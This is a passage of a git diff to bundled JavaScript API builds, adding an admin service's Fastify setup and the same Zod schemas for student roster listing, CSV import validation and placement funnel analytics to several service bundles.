bodyLimit: deps.env.BODY_LIMIT_BYTES, + trustProxy: true, + genReqId: () => newUuid(), + // A HEAD would run an export handler (and write its audit entry) for no body. + exposeHeadRoutes: false + }); + void app2.register(import_cors.default, { + origin: parseCorsOrigins(deps.env.CORS_ORIGINS), + // Lets a browser client read the CSV file name and tell a replay from a first run. + exposedHeaders: ["content-disposition", "idempotent-replayed"] + }); + void app2.register(import_rate_limit.default, { + max: deps.env.RATE_LIMIT_MAX, + timeWindow: deps.env.RATE_LIMIT_WINDOW + }); + const metrics2 = createMetricsRegistry("admin-service"); + registerHttpMetrics(app2, metrics2); + app2.addHook("onSend", async (request, reply) => { + if (request.url.startsWith("/v1/")) reply.header("cache-control", "no-store"); + }); + app2.setErrorHandler((error51, request, reply) => { + if (error51 instanceof ZodError) { + reply.status(400).send({ + error: { + code: "VALIDATION_ERROR", + message: "Request failed validation", + request_id: request.id, + details: error51.issues.map((issue2) => ({ + path: issue2.path.join("."), + message: issue2.message + })) + } + }); + return; + } + if (isAppError(error51)) { + reply.status(error51.statusCode).send(error51.toResponse(request.id)); + return; + } + const fastifyStatus = error51.statusCode; + if (fastifyStatus !== void 0 && fastifyStatus >= 400 && fastifyStatus < 500) { + reply.status(fastifyStatus).send({ + error: { + code: STATUS_TO_CODE[fastifyStatus] ?? "VALIDATION_ERROR", + message: error51.message, + request_id: request.id + } + }); + return; + } + request.log.error({ err: error51 }, "unhandled error"); + const appError = toAppError(error51); + reply.status(appError.statusCode).send(appError.toResponse(request.id)); + }); + app2.setNotFoundHandler((request, reply) => { + reply.status(404).send({ + error: { code: "NOT_FOUND", message: "Route not found", request_id: request.id } + }); + }); + healthRoute(app2, deps); + metricsRoute(app2, metrics2); + void app2.register(async (api) => { + listStudentsRoute(api, deps); + importStudentsRoute(api, deps); + getStudentRoute(api, deps); + funnelRoute(api, deps); + exportStudentsRoute(api, deps); + }); + return app2; +} + +// services/admin/src/env.ts +var adminServiceEnvSchema = external_exports.object({ + ...baseEnvSchema.shape, + ...databaseEnvSchema.shape, + ...httpEnvSchema.shape, + ...supabaseAuthEnvSchema.shape +}); +function loadAdminServiceEnv(source = process.env) { + const normalized = { ...source, PORT: source.PORT ?? source.ADMIN_SERVICE_PORT }; + return loadEnv("admin-service", adminServiceEnvSchema, normalized); +} + +// services/admin/src/index.ts +var env = loadAdminServiceEnv(withServerlessEnvDefaults()); +var logger = createLogger({ + service: "admin-service", + level: env.LOG_LEVEL, + pretty: env.LOG_PRETTY +}); +var { db, sql: sql2, close } = createDatabase({ + url: env.DATABASE_URL, + maxConnections: env.DATABASE_POOL_MAX +}); +var tokenVerifier = createTokenVerifierConfig(env); +var app = buildApp({ db, sql: sql2, env, logger, tokenVerifier }); +var index_default = createVercelHandler(app); +if (!process.env.VERCEL) { + const shutdown = async (signal) => { + logger.info({ signal }, "shutting down"); + await app.close(); + await close(); + process.exit(0); + }; + process.on("SIGTERM", () => void shutdown("SIGTERM")); + process.on("SIGINT", () => void shutdown("SIGINT")); + await app.listen({ host: env.HOST, port: env.PORT }); +} +export { + app, + index_default as default +}; +/*! Bundled license information: + +toad-cache/dist/toad-cache.cjs: + (** + * toad-cache + * + * @copyright 2026 Igor Savin + * @license MIT + * @version 3.7.3 + *) + +@fastify/proxy-addr/index.js: + (*! + * proxy-addr + * Copyright(c) 2021 Fastify collaborators + * Copyright(c) 2014-2016 Douglas Christopher Wilson + * MIT Licensed + *) + +light-my-request/lib/form-data.js: + (*! formdata-polyfill. MIT License. Jimmy Wärting *) +*/ diff --git a/api/analytics/index.js b/api/analytics/index.js index 852a905..ebd6f3c 100644 --- a/api/analytics/index.js +++ b/api/analytics/index.js @@ -69799,6 +69799,143 @@ var listMessagesResponseSchema = external_exports.object({ next_cursor: external_exports.string().nullable() }); +// packages/types/src/admin.ts +var ADMIN_MAX_IMPORT_ROWS = 5e3; +var adminOrgParamsSchema = external_exports.object({ orgId: uuidSchema }); +var adminStudentParamsSchema = external_exports.object({ orgId: uuidSchema, studentId: uuidSchema }); +var applicationStatusCountsSchema = external_exports.record( + applicationStatusSchema, + external_exports.number().int().min(0) +); +var studentInsightsSchema = external_exports.object({ + has_resume: external_exports.boolean(), + /** Latest parsed resume's ATS score (0–100), or null when none has been scored. */ + latest_ats_score: external_exports.number().min(0).max(100).nullable(), + /** Only applications made in this organization's context (applications.organization_id). */ + applications_total: external_exports.number().int().min(0), + applications_by_status: applicationStatusCountsSchema, + last_application_activity_at: isoTimestampSchema.nullable() +}); +var rosterStudentSchema = external_exports.object({ + student_id: uuidSchema, + email: external_exports.string().max(320), + /** The platform account's name; null until sharing is enabled. */ + full_name: external_exports.string().nullable(), + /** Stored in `students.department`. */ + program: external_exports.string().nullable(), + graduation_year: external_exports.number().int().nullable(), + /** `students.current_status` (default `active`). */ + status: external_exports.string(), + created_at: isoTimestampSchema, + /** True when the student is also a member of the organization. */ + sharing_enabled: external_exports.boolean(), + insights: studentInsightsSchema.nullable() +}); +var rosterFilterSchema = external_exports.object({ + search: external_exports.string().trim().max(200).optional().transform((value) => value === "" ? void 0 : value), + has_resume: external_exports.stringbool().optional(), + application_status: applicationStatusSchema.optional() +}); +var listAdminStudentsQuerySchema = paginationQuerySchema.extend(rosterFilterSchema.shape); +var listAdminStudentsResponseSchema = external_exports.object({ + items: external_exports.array(rosterStudentSchema), + next_cursor: external_exports.string().nullable() +}); +var adminStudentResponseSchema = external_exports.object({ student: rosterStudentSchema }); +function hasControlCharacters(value) { + for (let index2 = 0; index2 < value.length; index2 += 1) { + const code = value.charCodeAt(index2); + if (code <= 31 || code >= 127 && code <= 159) return true; + } + return false; +} +var singleLineText = (max) => external_exports.string().trim().min(1).max(max).refine((value) => !hasControlCharacters(value), "Control characters are not allowed"); +var graduationYearSchema = external_exports.union([ + external_exports.number(), + external_exports.string().trim().regex(/^\d{4}$/) +]).transform((value) => Number(value)).pipe(external_exports.number().int().min(1950).max(2100)); +var importStudentRowSchema = external_exports.strictObject({ + email: external_exports.string().trim().toLowerCase().max(320).pipe(external_exports.email()), + /** Validated but not stored: the platform account's own name is authoritative. */ + full_name: singleLineText(200), + /** Validated but not stored: `students` has no column for an institution id (see service notes). */ + student_id: singleLineText(64).optional(), + graduation_year: graduationYearSchema.optional(), + /** Stored in `students.department`. */ + program: singleLineText(200).optional() +}); +var importStudentsRequestSchema = external_exports.object({ + rows: external_exports.array(importStudentRowSchema).min(1).max(ADMIN_MAX_IMPORT_ROWS) +}); +var IMPORT_ROW_ERROR_REASONS = [ + "MALFORMED_ROW", + "UNKNOWN_FIELD", + "MISSING_EMAIL", + "INVALID_EMAIL", + "MISSING_FULL_NAME", + "INVALID_FULL_NAME", + "INVALID_STUDENT_ID", + "INVALID_GRADUATION_YEAR", + "INVALID_PROGRAM" +]; +var importRowErrorReasonSchema = external_exports.enum(IMPORT_ROW_ERROR_REASONS); +var importStudentsResponseSchema = external_exports.object({ + total_rows: external_exports.number().int().min(0), + created: external_exports.number().int().min(0), + updated: external_exports.number().int().min(0), + skipped: external_exports.number().int().min(0), + skipped_breakdown: external_exports.object({ + unchanged: external_exports.number().int().min(0), + duplicate_in_file: external_exports.number().int().min(0), + no_platform_account: external_exports.number().int().min(0) + }), + errors: external_exports.array(external_exports.object({ row: external_exports.number().int().min(1), reason: importRowErrorReasonSchema })), + /** Columns that were supplied in at least one valid row but are not persisted. */ + ignored_fields: external_exports.array(external_exports.enum(["full_name", "student_id"])) +}); +var adminFunnelQuerySchema = external_exports.object({ + from: external_exports.iso.datetime({ offset: true }).optional(), + to: external_exports.iso.datetime({ offset: true }).optional() +}).refine( + (range) => range.from === void 0 || range.to === void 0 || Date.parse(range.from) < Date.parse(range.to), + { message: "`from` must be earlier than `to`", path: ["from"] } +); +var adminFunnelResponseSchema = external_exports.object({ + organization_id: uuidSchema, + range: external_exports.object({ from: isoTimestampSchema.nullable(), to: isoTimestampSchema.nullable() }), + generated_at: isoTimestampSchema, + roster: external_exports.object({ + /** Every roster row, including students whose platform account was since deleted. */ + size: external_exports.number().int().min(0), + /** + * Linked to a live platform account. Equal to `size` until invited-only + * entries can be stored (they need a migration) or an account is deleted. + */ + signed_up: external_exports.number().int().min(0), + /** Signed up and also a member of the organization. Everything below counts only these students. */ + sharing_enabled: external_exports.number().int().min(0) + }), + resumes: external_exports.object({ + students_with_resume: external_exports.number().int().min(0), + students_with_ats_score: external_exports.number().int().min(0), + /** Mean of each student's latest scored resume, one decimal; null when nobody has one. */ + avg_ats_score: external_exports.number().min(0).max(100).nullable() + }), + applications: external_exports.object({ + total: external_exports.number().int().min(0), + students_applied: external_exports.number().int().min(0), + by_status: applicationStatusCountsSchema + }), + offers: external_exports.object({ + applications: external_exports.number().int().min(0), + students: external_exports.number().int().min(0) + }) +}); +var exportStudentsQuerySchema = rosterFilterSchema.extend({ + /** Prefix the file with a UTF-8 byte-order mark so Excel opens it as UTF-8. Default true. */ + bom: external_exports.stringbool().default(true) +}); + // packages/auth-kit/src/tokens.ts function createTokenVerifierConfig(env2) { const authBase = `${env2.SUPABASE_URL}/auth/v1`; diff --git a/api/applications/index.js b/api/applications/index.js index 9fb9037..edf4b05 100644 --- a/api/applications/index.js +++ b/api/applications/index.js @@ -69826,6 +69826,143 @@ var listMessagesResponseSchema = external_exports.object({ next_cursor: external_exports.string().nullable() }); +// packages/types/src/admin.ts +var ADMIN_MAX_IMPORT_ROWS = 5e3; +var adminOrgParamsSchema = external_exports.object({ orgId: uuidSchema }); +var adminStudentParamsSchema = external_exports.object({ orgId: uuidSchema, studentId: uuidSchema }); +var applicationStatusCountsSchema = external_exports.record( + applicationStatusSchema, + external_exports.number().int().min(0) +); +var studentInsightsSchema = external_exports.object({ + has_resume: external_exports.boolean(), + /** Latest parsed resume's ATS score (0–100), or null when none has been scored. */ + latest_ats_score: external_exports.number().min(0).max(100).nullable(), + /** Only applications made in this organization's context (applications.organization_id). */ + applications_total: external_exports.number().int().min(0), + applications_by_status: applicationStatusCountsSchema, + last_application_activity_at: isoTimestampSchema.nullable() +}); +var rosterStudentSchema = external_exports.object({ + student_id: uuidSchema, + email: external_exports.string().max(320), + /** The platform account's name; null until sharing is enabled. */ + full_name: external_exports.string().nullable(), + /** Stored in `students.department`. */ + program: external_exports.string().nullable(), + graduation_year: external_exports.number().int().nullable(), + /** `students.current_status` (default `active`). */ + status: external_exports.string(), + created_at: isoTimestampSchema, + /** True when the student is also a member of the organization. */ + sharing_enabled: external_exports.boolean(), + insights: studentInsightsSchema.nullable() +}); +var rosterFilterSchema = external_exports.object({ + search: external_exports.string().trim().max(200).optional().transform((value) => value === "" ? void 0 : value), + has_resume: external_exports.stringbool().optional(), + application_status: applicationStatusSchema.optional() +}); +var listAdminStudentsQuerySchema = paginationQuerySchema.extend(rosterFilterSchema.shape); +var listAdminStudentsResponseSchema = external_exports.object({ + items: external_exports.array(rosterStudentSchema), + next_cursor: external_exports.string().nullable() +}); +var adminStudentResponseSchema = external_exports.object({ student: rosterStudentSchema }); +function hasControlCharacters(value) { + for (let index2 = 0; index2 < value.length; index2 += 1) { + const code = value.charCodeAt(index2); + if (code <= 31 || code >= 127 && code <= 159) return true; + } + return false; +} +var singleLineText = (max) => external_exports.string().trim().min(1).max(max).refine((value) => !hasControlCharacters(value), "Control characters are not allowed"); +var graduationYearSchema = external_exports.union([ + external_exports.number(), + external_exports.string().trim().regex(/^\d{4}$/) +]).transform((value) => Number(value)).pipe(external_exports.number().int().min(1950).max(2100)); +var importStudentRowSchema = external_exports.strictObject({ + email: external_exports.string().trim().toLowerCase().max(320).pipe(external_exports.email()), + /** Validated but not stored: the platform account's own name is authoritative. */ + full_name: singleLineText(200), + /** Validated but not stored: `students` has no column for an institution id (see service notes). */ + student_id: singleLineText(64).optional(), + graduation_year: graduationYearSchema.optional(), + /** Stored in `students.department`. */ + program: singleLineText(200).optional() +}); +var importStudentsRequestSchema = external_exports.object({ + rows: external_exports.array(importStudentRowSchema).min(1).max(ADMIN_MAX_IMPORT_ROWS) +}); +var IMPORT_ROW_ERROR_REASONS = [ + "MALFORMED_ROW", + "UNKNOWN_FIELD", + "MISSING_EMAIL", + "INVALID_EMAIL", + "MISSING_FULL_NAME", + "INVALID_FULL_NAME", + "INVALID_STUDENT_ID", + "INVALID_GRADUATION_YEAR", + "INVALID_PROGRAM" +]; +var importRowErrorReasonSchema = external_exports.enum(IMPORT_ROW_ERROR_REASONS); +var importStudentsResponseSchema = external_exports.object({ + total_rows: external_exports.number().int().min(0), + created: external_exports.number().int().min(0), + updated: external_exports.number().int().min(0), + skipped: external_exports.number().int().min(0), + skipped_breakdown: external_exports.object({ + unchanged: external_exports.number().int().min(0), + duplicate_in_file: external_exports.number().int().min(0), + no_platform_account: external_exports.number().int().min(0) + }), + errors: external_exports.array(external_exports.object({ row: external_exports.number().int().min(1), reason: importRowErrorReasonSchema })), + /** Columns that were supplied in at least one valid row but are not persisted. */ + ignored_fields: external_exports.array(external_exports.enum(["full_name", "student_id"])) +}); +var adminFunnelQuerySchema = external_exports.object({ + from: external_exports.iso.datetime({ offset: true }).optional(), + to: external_exports.iso.datetime({ offset: true }).optional() +}).refine( + (range) => range.from === void 0 || range.to === void 0 || Date.parse(range.from) < Date.parse(range.to), + { message: "`from` must be earlier than `to`", path: ["from"] } +); +var adminFunnelResponseSchema = external_exports.object({ + organization_id: uuidSchema, + range: external_exports.object({ from: isoTimestampSchema.nullable(), to: isoTimestampSchema.nullable() }), + generated_at: isoTimestampSchema, + roster: external_exports.object({ + /** Every roster row, including students whose platform account was since deleted. */ + size: external_exports.number().int().min(0), + /** + * Linked to a live platform account. Equal to `size` until invited-only + * entries can be stored (they need a migration) or an account is deleted. + */ + signed_up: external_exports.number().int().min(0), + /** Signed up and also a member of the organization. Everything below counts only these students. */ + sharing_enabled: external_exports.number().int().min(0) + }), + resumes: external_exports.object({ + students_with_resume: external_exports.number().int().min(0), + students_with_ats_score: external_exports.number().int().min(0), + /** Mean of each student's latest scored resume, one decimal; null when nobody has one. */ + avg_ats_score: external_exports.number().min(0).max(100).nullable() + }), + applications: external_exports.object({ + total: external_exports.number().int().min(0), + students_applied: external_exports.number().int().min(0), + by_status: applicationStatusCountsSchema + }), + offers: external_exports.object({ + applications: external_exports.number().int().min(0), + students: external_exports.number().int().min(0) + }) +}); +var exportStudentsQuerySchema = rosterFilterSchema.extend({ + /** Prefix the file with a UTF-8 byte-order mark so Excel opens it as UTF-8. Default true. */ + bom: external_exports.stringbool().default(true) +}); + // packages/auth-kit/src/tokens.ts function createTokenVerifierConfig(env2) { const authBase = `${env2.SUPABASE_URL}/auth/v1`; diff --git a/api/auth/index.js b/api/auth/index.js index 2714afe..5c8cfb9 100644 --- a/api/auth/index.js +++ b/api/auth/index.js @@ -61865,6 +61865,143 @@ var listMessagesResponseSchema = external_exports.object({ next_cursor: external_exports.string().nullable() }); +// packages/types/src/admin.ts +var ADMIN_MAX_IMPORT_ROWS = 5e3; +var adminOrgParamsSchema = external_exports.object({ orgId: uuidSchema }); +var adminStudentParamsSchema = external_exports.object({ orgId: uuidSchema, studentId: uuidSchema }); +var applicationStatusCountsSchema = external_exports.record( + applicationStatusSchema, + external_exports.number().int().min(0) +); +var studentInsightsSchema = external_exports.object({ + has_resume: external_exports.boolean(), + /** Latest parsed resume's ATS score (0–100), or null when none has been scored. */ + latest_ats_score: external_exports.number().min(0).max(100).nullable(), + /** Only applications made in this organization's context (applications.organization_id). */ + applications_total: external_exports.number().int().min(0), + applications_by_status: applicationStatusCountsSchema, + last_application_activity_at: isoTimestampSchema.nullable() +}); +var rosterStudentSchema = external_exports.object({ + student_id: uuidSchema, + email: external_exports.string().max(320), + /** The platform account's name; null until sharing is enabled. */ + full_name: external_exports.string().nullable(), + /** Stored in `students.department`. */ + program: external_exports.string().nullable(), + graduation_year: external_exports.number().int().nullable(), + /** `students.current_status` (default `active`). */ + status: external_exports.string(), + created_at: isoTimestampSchema, + /** True when the student is also a member of the organization. */ + sharing_enabled: external_exports.boolean(), + insights: studentInsightsSchema.nullable() +}); +var rosterFilterSchema = external_exports.object({ + search: external_exports.string().trim().max(200).optional().transform((value) => value === "" ? void 0 : value), + has_resume: external_exports.stringbool().optional(), + application_status: applicationStatusSchema.optional() +}); +var listAdminStudentsQuerySchema = paginationQuerySchema.extend(rosterFilterSchema.shape); +var listAdminStudentsResponseSchema = external_exports.object({ + items: external_exports.array(rosterStudentSchema), + next_cursor: external_exports.string().nullable() +}); +var adminStudentResponseSchema = external_exports.object({ student: rosterStudentSchema }); +function hasControlCharacters(value) { + for (let index2 = 0; index2 < value.length; index2 += 1) { + const code = value.charCodeAt(index2); + if (code <= 31 || code >= 127 && code <= 159) return true; + } + return false; +} +var singleLineText = (max) => external_exports.string().trim().min(1).max(max).refine((value) => !hasControlCharacters(value), "Control characters are not allowed"); +var graduationYearSchema = external_exports.union([ + external_exports.number(), + external_exports.string().trim().regex(/^\d{4}$/) +]).transform((value) => Number(value)).pipe(external_exports.number().int().min(1950).max(2100)); +var importStudentRowSchema = external_exports.strictObject({ + email: external_exports.string().trim().toLowerCase().max(320).pipe(external_exports.email()), + /** Validated but not stored: the platform account's own name is authoritative. */ + full_name: singleLineText(200), + /** Validated but not stored: `students` has no column for an institution id (see service notes). */ + student_id: singleLineText(64).optional(), + graduation_year: graduationYearSchema.optional(), + /** Stored in `students.department`. */ + program: singleLineText(200).optional() +}); +var importStudentsRequestSchema = external_exports.object({ + rows: external_exports.array(importStudentRowSchema).min(1).max(ADMIN_MAX_IMPORT_ROWS) +}); +var IMPORT_ROW_ERROR_REASONS = [ + "MALFORMED_ROW", + "UNKNOWN_FIELD", + "MISSING_EMAIL", + "INVALID_EMAIL", + "MISSING_FULL_NAME", + "INVALID_FULL_NAME", + "INVALID_STUDENT_ID", + "INVALID_GRADUATION_YEAR", + "INVALID_PROGRAM" +]; +var importRowErrorReasonSchema = external_exports.enum(IMPORT_ROW_ERROR_REASONS); +var importStudentsResponseSchema = external_exports.object({ + total_rows: external_exports.number().int().min(0), + created: external_exports.number().int().min(0), + updated: external_exports.number().int().min(0), + skipped: external_exports.number().int().min(0), + skipped_breakdown: external_exports.object({ + unchanged: external_exports.number().int().min(0), + duplicate_in_file: external_exports.number().int().min(0), + no_platform_account: external_exports.number().int().min(0) + }), + errors: external_exports.array(external_exports.object({ row: external_exports.number().int().min(1), reason: importRowErrorReasonSchema })), + /** Columns that were supplied in at least one valid row but are not persisted. */ + ignored_fields: external_exports.array(external_exports.enum(["full_name", "student_id"])) +}); +var adminFunnelQuerySchema = external_exports.object({ + from: external_exports.iso.datetime({ offset: true }).optional(), + to: external_exports.iso.datetime({ offset: true }).optional() +}).refine( + (range) => range.from === void 0 || range.to === void 0 || Date.parse(range.from) < Date.parse(range.to), + { message: "`from` must be earlier than `to`", path: ["from"] } +); +var adminFunnelResponseSchema = external_exports.object({ + organization_id: uuidSchema, + range: external_exports.object({ from: isoTimestampSchema.nullable(), to: isoTimestampSchema.nullable() }), + generated_at: isoTimestampSchema, + roster: external_exports.object({ + /** Every roster row, including students whose platform account was since deleted. */ + size: external_exports.number().int().min(0), + /** + * Linked to a live platform account. Equal to `size` until invited-only + * entries can be stored (they need a migration) or an account is deleted. + */ + signed_up: external_exports.number().int().min(0), + /** Signed up and also a member of the organization. Everything below counts only these students. */ + sharing_enabled: external_exports.number().int().min(0) + }), + resumes: external_exports.object({ + students_with_resume: external_exports.number().int().min(0), + students_with_ats_score: external_exports.number().int().min(0), + /** Mean of each student's latest scored resume, one decimal; null when nobody has one. */ + avg_ats_score: external_exports.number().min(0).max(100).nullable() + }), + applications: external_exports.object({ + total: external_exports.number().int().min(0), + students_applied: external_exports.number().int().min(0), + by_status: applicationStatusCountsSchema + }), + offers: external_exports.object({ + applications: external_exports.number().int().min(0), + students: external_exports.number().int().min(0) + }) +}); +var exportStudentsQuerySchema = rosterFilterSchema.extend({ + /** Prefix the file with a UTF-8 byte-order mark so Excel opens it as UTF-8. Default true. */ + bom: external_exports.stringbool().default(true) +}); + // packages/auth-kit/src/tokens.ts function createTokenVerifierConfig(env2) { const authBase = `${env2.SUPABASE_URL}/auth/v1`; diff --git a/api/jobs/index.js b/api/jobs/index.js index efd8e80..cb3cf55 100644 --- a/api/jobs/index.js +++ b/api/jobs/index.js @@ -69827,6 +69827,143 @@ var listMessagesResponseSchema = external_exports.object({ next_cursor: external_exports.string().nullable() }); +// packages/types/src/admin.ts +var ADMIN_MAX_IMPORT_ROWS = 5e3; +var adminOrgParamsSchema = external_exports.object({ orgId: uuidSchema }); +var adminStudentParamsSchema = external_exports.object({ orgId: uuidSchema, studentId: uuidSchema }); +var applicationStatusCountsSchema = external_exports.record( + applicationStatusSchema, + external_exports.number().int().min(0) +); +var studentInsightsSchema = external_exports.object({ + has_resume: external_exports.boolean(), + /** Latest parsed resume's ATS score (0–100), or null when none has been scored. */ + latest_ats_score: external_exports.number().min(0).max(100).nullable(), + /** Only applications made in this organization's context (applications.organization_id). */ + applications_total: external_exports.number().int().min(0), + applications_by_status: applicationStatusCountsSchema, + last_application_activity_at: isoTimestampSchema.nullable() +}); +var rosterStudentSchema = external_exports.object({ + student_id: uuidSchema, + email: external_exports.string().max(320), + /** The platform account's name; null until sharing is enabled. */ + full_name: external_exports.string().nullable(), + /** Stored in `students.department`. */ + program: external_exports.string().nullable(), + graduation_year: external_exports.number().int().nullable(), + /** `students.current_status` (default `active`). */ + status: external_exports.string(), + created_at: isoTimestampSchema, + /** True when the student is also a member of the organization. */ + sharing_enabled: external_exports.boolean(), + insights: studentInsightsSchema.nullable() +}); +var rosterFilterSchema = external_exports.object({ + search: external_exports.string().trim().max(200).optional().transform((value) => value === "" ? void 0 : value), + has_resume: external_exports.stringbool().optional(), + application_status: applicationStatusSchema.optional() +}); +var listAdminStudentsQuerySchema = paginationQuerySchema.extend(rosterFilterSchema.shape); +var listAdminStudentsResponseSchema = external_exports.object({ + items: external_exports.array(rosterStudentSchema), + next_cursor: external_exports.string().nullable() +}); +var adminStudentResponseSchema = external_exports.object({ student: rosterStudentSchema }); +function hasControlCharacters(value) { + for (let index2 = 0; index2 < value.length; index2 += 1) { + const code = value.charCodeAt(index2); + if (code <= 31 || code >= 127 && code <= 159) return true; + } + return false; +} +var singleLineText = (max) => external_exports.string().trim().min(1).max(max).refine((value) => !hasControlCharacters(value), "Control characters are not allowed"); +var graduationYearSchema = external_exports.union([ + external_exports.number(), + external_exports.string().trim().regex(/^\d{4}$/) +]).transform((value) => Number(value)).pipe(external_exports.number().int().min(1950).max(2100)); +var importStudentRowSchema = external_exports.strictObject({ + email: external_exports.string().trim().toLowerCase().max(320).pipe(external_exports.email()), + /** Validated but not stored: the platform account's own name is authoritative. */ + full_name: singleLineText(200), + /** Validated but not stored: `students` has no column for an institution id (see service notes). */ + student_id: singleLineText(64).optional(), + graduation_year: graduationYearSchema.optional(), + /** Stored in `students.department`. */ + program: singleLineText(200).optional() +}); +var importStudentsRequestSchema = external_exports.object({ + rows: external_exports.array(importStudentRowSchema).min(1).max(ADMIN_MAX_IMPORT_ROWS) +}); +var IMPORT_ROW_ERROR_REASONS = [ + "MALFORMED_ROW", + "UNKNOWN_FIELD", + "MISSING_EMAIL", + "INVALID_EMAIL", + "MISSING_FULL_NAME", + "INVALID_FULL_NAME", + "INVALID_STUDENT_ID", + "INVALID_GRADUATION_YEAR", + "INVALID_PROGRAM" +]; +var importRowErrorReasonSchema = external_exports.enum(IMPORT_ROW_ERROR_REASONS); +var importStudentsResponseSchema = external_exports.object({ + total_rows: external_exports.number().int().min(0), + created: external_exports.number().int().min(0), + updated: external_exports.number().int().min(0), + skipped: external_exports.number().int().min(0), + skipped_breakdown: external_exports.object({ + unchanged: external_exports.number().int().min(0), + duplicate_in_file: external_exports.number().int().min(0), + no_platform_account: external_exports.number().int().min(0) + }), + errors: external_exports.array(external_exports.object({ row: external_exports.number().int().min(1), reason: importRowErrorReasonSchema })), + /** Columns that were supplied in at least one valid row but are not persisted. */ + ignored_fields: external_exports.array(external_exports.enum(["full_name", "student_id"])) +}); +var adminFunnelQuerySchema = external_exports.object({ + from: external_exports.iso.datetime({ offset: true }).optional(), + to: external_exports.iso.datetime({ offset: true }).optional() +}).refine( + (range) => range.from === void 0 || range.to === void 0 || Date.parse(range.from) < Date.parse(range.to), + { message: "`from` must be earlier than `to`", path: ["from"] } +); +var adminFunnelResponseSchema = external_exports.object({ + organization_id: uuidSchema, + range: external_exports.object({ from: isoTimestampSchema.nullable(), to: isoTimestampSchema.nullable() }), + generated_at: isoTimestampSchema, + roster: external_exports.object({ + /** Every roster row, including students whose platform account was since deleted. */ + size: external_exports.number().int().min(0), + /** + * Linked to a live platform account. Equal to `size` until invited-only + * entries can be stored (they need a migration) or an account is deleted. + */ + signed_up: external_exports.number().int().min(0), + /** Signed up and also a member of the organization. Everything below counts only these students. */ + sharing_enabled: external_exports.number().int().min(0) + }), + resumes: external_exports.object({ + students_with_resume: external_exports.number().int().min(0), + students_with_ats_score: external_exports.number().int().min(0), + /** Mean of each student's latest scored resume, one decimal; null when nobody has one. */ + avg_ats_score: external_exports.number().min(0).max(100).nullable() + }), + applications: external_exports.object({ + total: external_exports.number().int().min(0), + students_applied: external_exports.number().int().min(0), + by_status: applicationStatusCountsSchema + }), + offers: external_exports.object({ + applications: external_exports.number().int().min(0), + students: external_exports.number().int().min(0) + }) +}); +var exportStudentsQuerySchema = rosterFilterSchema.extend({ + /** Prefix the file with a UTF-8 byte-order mark so Excel opens it as UTF-8. Default true. */ + bom: external_exports.stringbool().default(true) +}); + // packages/auth-kit/src/tokens.ts function createTokenVerifierConfig(env2) { const authBase = `${env2.SUPABASE_URL}/auth/v1`; diff --git a/api/learning/index.js b/api/learning/index.js index a6ad3cc..d0d3f42 100644 --- a/api/learning/index.js +++ b/api/learning/index.js @@ -69806,6 +69806,143 @@ var listMessagesResponseSchema = external_exports.object({ next_cursor: external_exports.string().nullable() }); +// packages/types/src/admin.ts +var ADMIN_MAX_IMPORT_ROWS = 5e3; +var adminOrgParamsSchema = external_exports.object({ orgId: uuidSchema }); +var adminStudentParamsSchema = external_exports.object({ orgId: uuidSchema, studentId: uuidSchema }); +var applicationStatusCountsSchema = external_exports.record( + applicationStatusSchema, + external_exports.number().int().min(0) +); +var studentInsightsSchema = external_exports.object({ + has_resume: external_exports.boolean(), + /** Latest parsed resume's ATS score (0–100), or null when none has been scored. */ + latest_ats_score: external_exports.number().min(0).max(100).nullable(), + /** Only applications made in this organization's context (applications.organization_id). */ + applications_total: external_exports.number().int().min(0), + applications_by_status: applicationStatusCountsSchema, + last_application_activity_at: isoTimestampSchema.nullable() +}); +var rosterStudentSchema = external_exports.object({ + student_id: uuidSchema, + email: external_exports.string().max(320), + /** The platform account's name; null until sharing is enabled. */ + full_name: external_exports.string().nullable(), + /** Stored in `students.department`. */ + program: external_exports.string().nullable(), + graduation_year: external_exports.number().int().nullable(), + /** `students.current_status` (default `active`). */ + status: external_exports.string(), + created_at: isoTimestampSchema, + /** True when the student is also a member of the organization. */ + sharing_enabled: external_exports.boolean(), + insights: studentInsightsSchema.nullable() +}); +var rosterFilterSchema = external_exports.object({ + search: external_exports.string().trim().max(200).optional().transform((value) => value === "" ? void 0 : value), + has_resume: external_exports.stringbool().optional(), + application_status: applicationStatusSchema.optional() +}); +var listAdminStudentsQuerySchema = paginationQuerySchema.extend(rosterFilterSchema.shape); +var listAdminStudentsResponseSchema = external_exports.object({ + items: external_exports.array(rosterStudentSchema), + next_cursor: external_exports.string().nullable() +}); +var adminStudentResponseSchema = external_exports.object({ student: rosterStudentSchema }); +function hasControlCharacters(value) { + for (let index2 = 0; index2 < value.length; index2 += 1) { + const code = value.charCodeAt(index2); + if (code <= 31 || code >= 127 && code <= 159) return true; + } + return false; +} +var singleLineText = (max) => external_exports.string().trim().min(1).max(max).refine((value) => !hasControlCharacters(value), "Control characters are not allowed"); +var graduationYearSchema = external_exports.union([ + external_exports.number(), + external_exports.string().trim().regex(/^\d{4}$/) +]).transform((value) => Number(value)).pipe(external_exports.number().int().min(1950).max(2100)); +var importStudentRowSchema = external_exports.strictObject({ + email: external_exports.string().trim().toLowerCase().max(320).pipe(external_exports.email()), + /** Validated but not stored: the platform account's own name is authoritative. */ + full_name: singleLineText(200), + /** Validated but not stored: `students` has no column for an institution id (see service notes). */ + student_id: singleLineText(64).optional(), + graduation_year: graduationYearSchema.optional(), + /** Stored in `students.department`. */ + program: singleLineText(200).optional() +}); +var importStudentsRequestSchema = external_exports.object({ + rows: external_exports.array(importStudentRowSchema).min(1).max(ADMIN_MAX_IMPORT_ROWS) +}); +var IMPORT_ROW_ERROR_REASONS = [ + "MALFORMED_ROW", + "UNKNOWN_FIELD", + "MISSING_EMAIL", + "INVALID_EMAIL", + "MISSING_FULL_NAME", + "INVALID_FULL_NAME", + "INVALID_STUDENT_ID", + "INVALID_GRADUATION_YEAR", + "INVALID_PROGRAM" +]; +var importRowErrorReasonSchema = external_exports.enum(IMPORT_ROW_ERROR_REASONS); +var importStudentsResponseSchema = external_exports.object({ + total_rows: external_exports.number().int().min(0), + created: external_exports.number().int().min(0), + updated: external_exports.number().int().min(0), + skipped: external_exports.number().int().min(0), + skipped_breakdown: external_exports.object({ + unchanged: external_exports.number().int().min(0), + duplicate_in_file: external_exports.number().int().min(0), + no_platform_account: external_exports.number().int().min(0) + }), + errors: external_exports.array(external_exports.object({ row: external_exports.number().int().min(1), reason: importRowErrorReasonSchema })), + /** Columns that were supplied in at least one valid row but are not persisted. */ + ignored_fields: external_exports.array(external_exports.enum(["full_name", "student_id"])) +}); +var adminFunnelQuerySchema = external_exports.object({ + from: external_exports.iso.datetime({ offset: true }).optional(), + to: 